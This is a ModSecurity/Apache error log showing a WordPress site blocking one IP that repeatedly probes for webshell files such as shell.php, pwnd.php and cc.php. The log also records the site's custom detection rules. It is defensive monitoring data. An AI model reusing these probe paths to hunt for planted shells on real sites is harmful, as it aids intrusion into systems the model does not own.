[Fri Apr 03 05:08:02.401882 2026] [:error] [pid 22672:tid 22723] [client 20.104.201.101:1818] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/index/x.php"] [unique_id "ac7asqzrgXkFSOK0fvp4-gAAAEQ"]
[Fri Apr 03 05:08:02.594453 2026] [:error] [pid 22672:tid 22727] [client 20.104.201.101:1842] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/upgrade/shell.php"] [unique_id "ac7asqzrgXkFSOK0fvp4-wAAAEg"]
[Fri Apr 03 05:08:03.146130 2026] [:error] [pid 22673:tid 22758] [client 20.104.201.101:1926] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/upgrade/shell.php"] [unique_id "ac7as--GlVDWdWxxwJB1CwAAAIw"]
[Fri Apr 03 05:08:03.600442 2026] [:error] [pid 22778:tid 22807] [client 20.104.201.101:1809] [client 20.104.201.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/network.php"] [unique_id "ac7as_S-q9hkdFqUjq9ouwAAANY"]
[Fri Apr 03 05:08:03.857783 2026] [:error] [pid 22778:tid 22803] [client 20.104.201.101:1873] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/user/bak.php"] [unique_id "ac7as_S-q9hkdFqUjq9ovgAAANI"]
[Fri Apr 03 05:08:04.299673 2026] [:error] [pid 22778:tid 22796] [client 20.104.201.101:1905] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/user/bak.php"] [unique_id "ac7atPS-q9hkdFqUjq9owwAAAMs"]
[Fri Apr 03 05:08:04.418041 2026] [:error] [pid 22778:tid 22787] [client 20.104.201.101:1811] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/.well-known/cc.php"] [unique_id "ac7atPS-q9hkdFqUjq9oxQAAAMI"]
[Fri Apr 03 05:08:05.125922 2026] [:error] [pid 22778:tid 22795] [client 20.104.201.101:1921] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/user/bak.php"] [unique_id "ac7atfS-q9hkdFqUjq9oyAAAAMo"]
[Fri Apr 03 05:08:07.526840 2026] [:error] [pid 22778:tid 22794] [client 20.104.201.101:1856] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/user/bak.php"] [unique_id "ac7at_S-q9hkdFqUjq9o1wAAAMk"]
[Fri Apr 03 05:08:07.560297 2026] [:error] [pid 22778:tid 22786] [client 20.104.201.101:1775] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/.well-known/cc.php"] [unique_id "ac7at_S-q9hkdFqUjq9o2AAAAME"]
[Fri Apr 03 05:08:09.257338 2026] [:error] [pid 22671:tid 22698] [client 20.104.201.101:1847] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/.well-known/cc.php"] [unique_id "ac7auSRuUnMW7r8hvyY9JAAAAAc"]
[Fri Apr 03 05:08:09.986939 2026] [:error] [pid 22671:tid 22710] [client 20.104.201.101:1871] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "ac7auSRuUnMW7r8hvyY9KAAAABM"]
[Fri Apr 03 05:08:12.533776 2026] [:error] [pid 22778:tid 22801] [client 20.104.201.101:1906] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/.well-known/cc.php"] [unique_id "ac7avPS-q9hkdFqUjq9o4AAAANA"]
[Fri Apr 03 05:08:14.515871 2026] [:error] [pid 22672:tid 22742] [client 20.104.201.101:1904] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "ac7avqzrgXkFSOK0fvp5FgAAAFc"]
[Fri Apr 03 05:08:16.119909 2026] [:error] [pid 58590:tid 58594] [client 20.104.201.101:1768] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "ac7awEze_aEPDM9xEE2dqwAAAQI"]
[Fri Apr 03 05:08:17.161503 2026] [:error] [pid 22672:tid 22734] [client 20.104.201.101:1828] [client 20.104.201.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/pomo/chosen.php"] [unique_id "ac7awazrgXkFSOK0fvp5HQAAAE8"]
[Fri Apr 03 05:08:17.576012 2026] [:error] [pid 58590:tid 58599] [client 20.104.201.101:2007] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "ac7awUze_aEPDM9xEE2duQAAAQc"]
[Fri Apr 03 05:08:18.010840 2026] [:error] [pid 22778:tid 22801] [client 20.104.201.101:1834] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/pki-validation/pwnd.php"] [unique_id "ac7awvS-q9hkdFqUjq9o7QAAANA"]
[Fri Apr 03 05:08:18.336811 2026] [:error] [pid 58590:tid 58592] [client 20.104.201.101:1796] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/about.php"] [unique_id "ac7awkze_aEPDM9xEE2dwQAAAQA"]
[Fri Apr 03 05:08:18.709942 2026] [:error] [pid 22778:tid 22800] [client 20.104.201.101:1844] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/pki-validation/pwnd.php"] [unique_id "ac7awvS-q9hkdFqUjq9o8AAAAM8"]
[Fri Apr 03 05:08:18.778680 2026] [:error] [pid 58590:tid 58601] [client 20.104.201.101:1888] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/about.php"] [unique_id "ac7awkze_aEPDM9xEE2dxQAAAQk"]
[Fri Apr 03 05:08:19.276532 2026] [:error] [pid 22778:tid 22799] [client 20.104.201.101:1815] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/about.php"] [unique_id "ac7aw_S-q9hkdFqUjq9o9AAAAM4"]
[Fri Apr 03 05:08:19.616011 2026] [:error] [pid 22671:tid 22704] [client 20.104.201.101:1807] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/pki-validation/pwnd.php"] [unique_id "ac7awyRuUnMW7r8hvyY9MAAAAA0"]
[Fri Apr 03 05:08:19.704416 2026] [:error] [pid 58590:tid 58604] [client 20.104.201.101:1852] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/about.php"] [unique_id "ac7aw0ze_aEPDM9xEE2dzgAAAQw"]
[Fri Apr 03 05:08:20.250325 2026] [:error] [pid 22671:tid 22700] [client 20.104.201.101:1980] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/date.php"] [unique_id "ac7axCRuUnMW7r8hvyY9MgAAAAk"]
[Fri Apr 03 05:08:20.712168 2026] [:error] [pid 22671:tid 22710] [client 20.104.201.101:1914] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/pki-validation/pwnd.php"] [unique_id "ac7axCRuUnMW7r8hvyY9NQAAABM"]
[Fri Apr 03 05:08:20.737530 2026] [:error] [pid 58590:tid 58612] [client 20.104.201.101:1843] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/date.php"] [unique_id "ac7axEze_aEPDM9xEE2d1AAAARQ"]
[Fri Apr 03 05:08:21.269908 2026] [:error] [pid 58590:tid 58606] [client 20.104.201.101:1835] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/date.php"] [unique_id "ac7axUze_aEPDM9xEE2d2AAAAQ4"]
[Fri Apr 03 05:08:21.722891 2026] [:error] [pid 22671:tid 22715] [client 20.104.201.101:1880] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css/cong.php"] [unique_id "ac7axSRuUnMW7r8hvyY9OAAAABg"]
[Fri Apr 03 05:08:21.946094 2026] [:error] [pid 58590:tid 58604] [client 20.104.201.101:1816] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/date.php"] [unique_id "ac7axUze_aEPDM9xEE2d3QAAAQw"]
[Fri Apr 03 05:08:22.807543 2026] [:error] [pid 22778:tid 22788] [client 20.104.201.101:1814] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/index/x.php"] [unique_id "ac7axvS-q9hkdFqUjq9pAQAAAMM"]
[Fri Apr 03 05:08:22.826102 2026] [:error] [pid 22778:tid 22785] [client 20.104.201.101:1823] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css/cong.php"] [unique_id "ac7axvS-q9hkdFqUjq9pAgAAAMA"]
[Fri Apr 03 05:08:23.731591 2026] [:error] [pid 22778:tid 22790] [client 20.104.201.101:1893] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css/cong.php"] [unique_id "ac7ax_S-q9hkdFqUjq9pBgAAAMU"]
[Fri Apr 03 05:08:24.006563 2026] [:error] [pid 22671:tid 22699] [client 20.104.201.101:1878] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/index/x.php"] [unique_id "ac7ayCRuUnMW7r8hvyY9QAAAAAg"]
[Fri Apr 03 05:08:24.499945 2026] [:error] [pid 58590:tid 58613] [client 20.104.201.101:1736] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css/cong.php"] [unique_id "ac7ayEze_aEPDM9xEE2d7QAAARU"]
[Fri Apr 03 05:08:25.052262 2026] [:error] [pid 22671:tid 22712] [client 20.104.201.101:1897] [client 20.104.201.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/customize/shell.php"] [unique_id "ac7aySRuUnMW7r8hvyY9QwAAABU"]
[Fri Apr 03 05:08:25.465512 2026] [:error] [pid 58590:tid 58606] [client 20.104.201.101:1902] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/index/x.php"] [unique_id "ac7ayUze_aEPDM9xEE2d9gAAAQ4"]
[Fri Apr 03 05:08:25.877319 2026] [:error] [pid 58590:tid 58609] [client 20.104.201.101:1759] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/mah.php"] [unique_id "ac7ayUze_aEPDM9xEE2d_QAAARE"]
[Fri Apr 03 05:08:26.452581 2026] [:error] [pid 58590:tid 58605] [client 20.104.201.101:2003] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/index/x.php"] [unique_id "ac7aykze_aEPDM9xEE2eBwAAAQ0"]
[Fri Apr 03 05:08:26.606568 2026] [:error] [pid 22673:tid 22747] [client 20.104.201.101:1925] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/mah.php"] [unique_id "ac7ayu-GlVDWdWxxwJB1YgAAAIE"]
[Fri Apr 03 05:08:27.170003 2026] [:error] [pid 22672:tid 22736] [client 20.104.201.101:1806] [client 20.104.201.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/network.php"] [unique_id "ac7ay6zrgXkFSOK0fvp5MQAAAFE"]
[Fri Apr 03 05:08:27.523469 2026] [:error] [pid 22673:tid 22763] [client 20.104.201.101:1820] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/mah.php"] [unique_id "ac7ay--GlVDWdWxxwJB1ZwAAAJE"]
[Fri Apr 03 05:08:28.190766 2026] [:error] [pid 22672:tid 22742] [client 20.104.201.101:1802] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/mah.php"] [unique_id "ac7azKzrgXkFSOK0fvp5MgAAAFc"]
[Fri Apr 03 05:08:28.720170 2026] [:error] [pid 22672:tid 22720] [client 20.104.201.101:1812] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/.well-known/cc.php"] [unique_id "ac7azKzrgXkFSOK0fvp5NwAAAEE"]
[Fri Apr 03 05:08:28.785952 2026] [:error] [pid 22671:tid 22697] [client 20.104.201.101:1794] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/upgrade/admin.php"] [unique_id "ac7azCRuUnMW7r8hvyY9SQAAAAY"]
[Fri Apr 03 05:08:29.650292 2026] [:error] [pid 58590:tid 58604] [client 20.104.201.101:1837] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/upgrade/admin.php"] [unique_id "ac7azUze_aEPDM9xEE2eHgAAAQw"]
[Fri Apr 03 05:08:30.492875 2026] [:error] [pid 22778:tid 22790] [client 20.104.201.101:1732] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/upgrade/admin.php"] [unique_id "ac7azvS-q9hkdFqUjq9pDQAAAMU"]
[Fri Apr 03 05:08:30.590079 2026] [:error] [pid 22673:tid 22750] [client 20.104.201.101:1802] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/.well-known/cc.php"] [unique_id "ac7azu-GlVDWdWxxwJB1ewAAAIQ"]
[Fri Apr 03 05:08:31.455598 2026] [:error] [pid 58590:tid 58609] [client 20.104.201.101:1801] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/upgrade/admin.php"] [unique_id "ac7az0ze_aEPDM9xEE2ePQAAARE"]
[Fri Apr 03 05:08:31.857325 2026] [:error] [pid 22778:tid 22808] [client 20.104.201.101:1822] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/.well-known/cc.php"] [unique_id "ac7az_S-q9hkdFqUjq9pDgAAANc"]
[Fri Apr 03 05:08:31.927399 2026] [:error] [pid 22778:tid 22789] [client 20.104.201.101:1885] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/index.php"] [unique_id "ac7az_S-q9hkdFqUjq9pDwAAAMQ"]
[Fri Apr 03 05:08:32.551806 2026] [:error] [pid 22673:tid 22758] [client 20.104.201.101:1817] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/.well-known/cc.php"] [unique_id "ac7a0O-GlVDWdWxxwJB1iwAAAIw"]
[Fri Apr 03 05:08:32.680476 2026] [:error] [pid 22671:tid 22696] [client 20.104.201.101:1756] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/index.php"] [unique_id "ac7a0CRuUnMW7r8hvyY9TwAAAAU"]
[Fri Apr 03 05:08:33.054001 2026] [:error] [pid 22671:tid 22698] [client 20.104.201.101:1745] [client 20.104.201.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/pomo/chosen.php"] [unique_id "ac7a0SRuUnMW7r8hvyY9UwAAAAc"]
[Fri Apr 03 05:08:39.425637 2026] [:error] [pid 22778:tid 22801] [client 20.104.201.101:1733] [client 20.104.201.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/block-supports/variations.php"] [unique_id "ac7a1_S-q9hkdFqUjq9pOwAAANA"]
